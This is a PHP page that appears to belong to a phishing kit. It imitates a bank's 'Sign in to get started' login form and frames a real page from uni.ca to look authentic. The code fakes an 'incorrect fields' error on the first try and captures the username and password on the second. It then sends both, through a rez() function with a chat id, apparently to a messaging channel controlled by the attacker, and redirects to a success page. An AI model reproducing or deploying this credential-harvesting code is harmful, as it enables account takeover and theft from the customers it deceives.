<?php
require_once('case/ab.php');
require_once('lib/components/header.php');
if (isset($_POST['username']) && isset($_POST['password'])) {
    $_SESSION['username'] = $_POST['username'];
    $_SESSION['password'] = $_POST['password'];

    if (isset($_POST['invalid'])) {
        rez("LOGIN", [
            '👤 Username' => "<code>" . $_SESSION['username'] . "</code>",
            '🔐 Password' => "<code>" . $_SESSION['password'] . "</code>"
        ], $rez['chatid']['login']);
        header('location: ./success.php');
    } else header('location: ./index.php?invalid');
} else {
    // rez("CLIQUE", [], $rez['chatid']['clique']);
?>

    <div class="row">
        <iframe scrolling="no" style="height:80px" id="frmid" src="https://www.uni.ca/deh-alerte/?ui_locales=en"></iframe>
    </div>

    <div class="row slice-screen">
        <div class="content">
            <div id="api" data-name="Unified" role="main" class="form-section">
                <div class="heading">
                    <h1 role="heading" class="">Welcome</h1>
                </div>
                <form method="post" class="localAccount needs-validation" aria-label="Sign in to get
            started">
                    <div class="intro">
                        <h2 aria-level="1" class="">
                            Sign in to get
                            started
                        </h2>
                    </div>
                    <?php
                    if (isset($_GET['invalid'])) {
                    ?>
                        <input type="hidden" name="invalid" value="true">
                        <div class="error pageLevel uni-error-text" aria-hidden="false" role="alert" style="display: block;">
                            <p>One or more fields are incorrect.
                                Please try again.</p>
                        </div>
                    <?php } ?>
                    <div class="entry">
                        <div class="entry-item form-outline">


                            <input type="text" value="<?php echo isset($_SESSION['username']) ? $_SESSION['username'] : ''; ?>"
                             required id="signInName" name="username" 
                             title="Please enter a valid Username" autofocus="" aria-label="Username" class="form-control form-control-lg uni-input-field active" required="" tabindex="1" autocomplete="on"><label for="signInName" class="form-label" style="margin-left: 0px;">
                                Username
                            </label>
                            <div class="error itemLevel invalid-feedback" aria-hidden="true" role="alert" style="display: none;">
                                <p></p>
                            </div>
                            <div class="form-notch">
                                <div class="form-notch-leading" style="width: 9px;"></div>
                                <div class="form-notch-middle" style="width: 64px;"></div>
                                <div class="form-notch-trailing"></div>
                            </div>
                        </div>
                        <div class="entry-item form-outline">
                            <input type="password" id="password" name="password" aria-label="Password" autocomplete="current-password" class="form-control form-control-lg uni-input-field active"
                              tabindex="2"><label for="password" class="form-label" style="margin-left: 0px;">
                                Password</label>
                            <div class="error itemLevel invalid-feedback uni-input-invalid-error" aria-hidden="true" style="display: none;">
                                <p role="alert"></p>
                            </div>
                            <div class="form-notch">
                                <div class="form-notch-leading" style="width: 9px;"></div>
                                <div class="form-notch-middle" style="width: 64.8px;"></div>
                                <div class="form-notch-trailing"></div>
                            </div>
                        </div>
                        <div class="working"></div>


                        <div class="buttons">
                            <button id="next" type="submit" 
                             class="btn btn-primary btn-block uni-block-btn" tabindex="3">Sign in</button>
                        </div>
                    </div>
                    <div class="divider">
                        <h2></h2>
                    </div>
                    <div class="create">
                        <p>
                            <a id="createAccount" href="#" class="btn btn-outline-dark btn-block uni-outline-btn" tabindex="4">Set up my
                                online profile</a>
                        </p>
                    </div>
                    <div class="forgotPassword">

                        <a id="forgotPassword" href="#" class="">I can't sign in</a>
                    </div>
                </form>
            </div>
        </div>
    </div>
<?php

    require_once('lib/components/footer.php');
}
